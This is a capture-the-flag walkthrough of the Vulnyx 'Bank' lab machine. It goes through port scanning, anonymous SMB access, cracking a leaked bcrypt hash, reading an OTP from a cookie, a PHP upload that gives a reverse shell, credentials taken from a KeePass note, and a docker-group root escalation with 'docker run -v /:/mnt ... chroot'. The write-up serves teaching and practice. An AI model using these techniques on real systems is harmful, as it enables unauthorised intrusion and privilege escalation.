Post

Vulnyx Bank Writeup

A technical analysis of the Bank machine from Vulnyx, showcasing enumeration and exploitation.

Vulnyx Bank Writeup

Reconnaissance — Port Scan

We begin the engagement by performing a SYN scan using nmap to discover open TCP ports across the entire range, identifying the initial attack surface.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(suraxddq㉿kali)-[~]
└─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.254.236                                                                   
[sudo] password for suraxddq: 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-08 19:16 +0200
Initiating ARP Ping Scan at 19:16
Scanning 192.168.254.236 [1 port]
Completed ARP Ping Scan at 19:16, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:16
Scanning 192.168.254.236 [65535 ports]
Discovered open port 445/tcp on 192.168.254.236
Discovered open port 80/tcp on 192.168.254.236
Discovered open port 139/tcp on 192.168.254.236
Completed SYN Stealth Scan at 19:16, 0.61s elapsed (65535 total ports)
Nmap scan report for 192.168.254.236
Host is up, received arp-response (0.00011s latency).
Scanned at 2026-05-08 19:16:58 CEST for 1s
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE      REASON
80/tcp  open  http         syn-ack ttl 64
139/tcp open  netbios-ssn  syn-ack ttl 64
445/tcp open  microsoft-ds syn-ack ttl 64
MAC Address: 08:00:27:33:BC:22 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Reconnaissance — Service Versions & Scripts

Following the port discovery, we execute a targeted nmap scan against the open ports to fingerprint the exact service versions and run default enumeration scripts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(suraxddq㉿kali)-[~]
└─$ nmap -sCV -p80,139,445 192.168.254.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-08 19:20 +0200
Nmap scan report for bank.nyx (192.168.254.236)
Host is up (0.00029s latency).

PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Bank Alpha | Welcome
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
MAC Address: 08:00:27:33:BC:22 (Oracle VirtualBox virtual NIC)

Host script results:
| smb2-time: 
|   date: 2026-05-08T17:20:48
|_  start_date: N/A
|_nbstat: NetBIOS name: BANK, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: 29s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.64 seconds

Reconnaissance — SMB Enumeration

Given that ports 139 and 445 are open, we focus our enumeration on the SMB service. We use smbclient with null sessions to list available shares on the target.

1
2
3
4
5
6
7
8
9
10
┌──(suraxddq㉿kali)-[~]
└─$ smbclient -L 192.168.254.236 -N 2> /dev/null 
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        development     Disk      
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Samba 4.22.8-Debian-4.22.8+dfsg-0+deb13u1)
        nobody          Disk      Home Directories

We successfully list the shares and notice a non-default share named development. We proceed to connect to it using an anonymous login.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(suraxddq㉿kali)-[~]
└─$ smbclient '//192.168.254.236/development' -N                                                                                                                                                                                          
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun May  3 12:43:20 2026
  ..                                  D        0  Sun May  3 12:43:20 2026
  03-may-26.txt                       N     1141  Sun May  3 12:43:20 2026

                9627844 blocks of size 1024. 5720308 blocks available
smb: \> get 03-may-26.txt 
getting file 03-may-26.txt of size 1141 as 03-may-26.txt (101.3 KiloBytes/sec) (average 101.3 KiloBytes/sec)
smb: \> exit

Upon accessing the share, we discover a text file named 03-may-26.txt and download it to our local machine for further analysis.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(suraxddq㉿kali)-[~]
└─$ cat 03-may-26.txt 
Subject: AI Agent Integration & Development Environment Setup

To streamline and accelerate the development of the banking platform, we have decided to integrate a subscription-based AI agent into our workflow. 
The service has proven to be cost-effective; however, please be aware that the AI may occasionally produce incorrect or unexpected outputs. 
For this reason, it is important to maintain strict attention to security and validate all critical operations.

A dedicated development directory has been enabled where developers can access and test the application.
Dir: development-0119-d5e051a-9da2-12sdas1-775-e0174

Additionally, the system administrator user called Juan, hired by Lucas in recent days, is currently on a probationary training period within the company. 
He will be responsible for completing the configuration of the SMB service. While the service is already installed, some final setup steps are 
still pending. Please note that he is still gaining experience, so we kindly ask for patience and encourage collaboration and assistance if needed 
to ensure everything is properly configured.

Best regards,
Marcelo

Web — Exploring the Application

With the directory discovered in the SMB share, we navigate to the web server on port 80 to explore the development environment. The landing page shows a login portal for the “Bank Alpha” system.

We continue exploring the site and find a contact section. We keep in mind the internal notes about the system’s security that we previously read from the SMB text file.

Further enumeration reveals a dashboard that seems to be under development, which could be a potential entry point, so we will register a user to explore it more.

Web — Extracting Credentials

During our exploration of the web application, we discover a feature that allows sending money to other users. When we verify if the admin account exists, we inspect the HTTP response. We notice a severe information disclosure vulnerability: the application leaks the bcrypt hash for the admin user directly in the response. We extract this hash to crack it offline.

The extracted data confirms that the system uses strong hashing algorithms, but the exposure of the hash itself is a major security flaw.

We carefully document the found hash and prepare to perform an offline brute-force attack to recover the original password.

1
2
  "username": "admin"
  "password": "$2y$12$X4uppQvzwFCSbVfCH7qF1eNOSA6/cBy/o5sbVcxxdfu/GF7.a0YKi"

Exploitation — Cracking the Hash

We use John the Ripper along with the RockYou wordlist to crack the extracted bcrypt hash. The attack is successful, revealing the password blink182.

1
2
3
4
5
6
7
8
9
10
11
┌──(suraxddq㉿kali)-[~]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182         (?)     
1g 0:00:00:03 DONE (2026-05-08 19:14) 0.3225g/s 69.67p/s 69.67c/s 69.67C/s mylove..jessie
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Web — Bypassing OTP Authentication

Logging in with the admin user and the cracked password, we are prompted for a One-Time Password (OTP). This adds an extra layer of security that we need to overcome.

We investigate the request and response mechanisms during the login process. By analyzing the HTTP traffic with a proxy, we notice a critical flaw: the server’s response sets a cookie that directly contains the required OTP.

Instead of manipulating any values, we simply read the leaked OTP from the response cookie and use it to successfully complete the authentication process.

1
"opt": "725507"

We discover that we can now upload a file to change our avatar picture we didnt had as normal user

Exploitation — Getting a Reverse Shell

We attempt to upload a PHP file by intercepting the request and changing the Content-Type header, which results in a 500 Internal Server Error.

Even with a error 500, the file was uploaded successfully and we can execute it.

We set up a Netcat listener and catch the incoming connection, gaining initial access as the www-data user.

1
2
3
4
5
6
7
8
9
10
┌──(suraxddq㉿kali)-[~]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.254.239] from (UNKNOWN) [192.168.254.236] 59032
Linux bank 6.12.85+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.85-1 (2026-04-30) x86_64 GNU/Linux
 15:56:27 up  2:41,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Post-exploitation — Enumerating Internal Files

Once on the system, we begin enumerating internal directories and discover an interesting SMB directory (/srv/smb) containing KeePass database files and notes.

1
2
3
4
5
6
7
8
9
10
www-data@bank:/opt$ cd /srv/smb
www-data@bank:/srv/smb$ ls -l *
passwords:
total 8
-rw-rw-r-- 1 juan juan  383 May  3 06:53 note.txt
-rw-rw-r-- 1 juan juan 2277 May  3 06:51 passwords.kdbx

share:
total 4
-rw-rw-r-- 1 marcelo marcelo 1141 May  3 06:43 03-may-26.txt

We read the contents of note.txt, which reveals a hardcoded password for the KeePass database meant for Marcelo.

1
2
3
4
5
6
7
8
www-data@bank:/srv/smb$ cat passwords/note.txt 
Hey, as you said Marcelo, I’ve already left a KeePass file with all the system passwords you asked me to create, except for the root password. 
The KeePass password is: `@zm{2h8aUu'a_M;'Jd:!MAQ?zn

Delete it after reading, but don’t worry—I think I’ve configured this directory properly so only you can access 
it, and it’s not exposed on the SMB service either.

— Juan

Lateral Movement — Extracting User Credentials

Using the discovered password, we unlock the KeePass database and extract the system password for the user marcelo.

We use the su command to switch to the marcelo user and obtain the user flag.

1
2
3
4
5
6
www-data@bank:/$ su marcelo
Password: 
marcelo@bank:/$

marcelo@bank:~$ cat user.txt 
52728f2********

Privilege Escalation — Docker

During our privilege escalation checks, we observe that the user marcelo is part of the docker group. This allows us to run Docker containers.

1
2
marcelo@bank:~$ id
uid=1000(marcelo) gid=1000(marcelo) groups=1000(marcelo),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),105(docker)

We exploit this by running an Alpine container and mounting the host’s root filesystem (/) to /mnt inside the container. We then chroot into the mounted filesystem, effectively gaining root access on the host and retrieving the final flag.

1
2
3
4
5
6
7
8
9
10
REPOSITORY   TAG             IMAGE ID       CREATED       SIZE
debian       bookworm-slim   865980b94764   2 weeks ago   74.8MB
alpine       latest          3cb067eab609   3 weeks ago   8.45MB
marcelo@bank:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh^C
marcelo@bank:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

# bash
root@96d9570269e8:/# cd root/
root@96d9570269e8:~# cat root.txt 
e8bd8213********
This post is licensed under CC BY 4.0 by the author.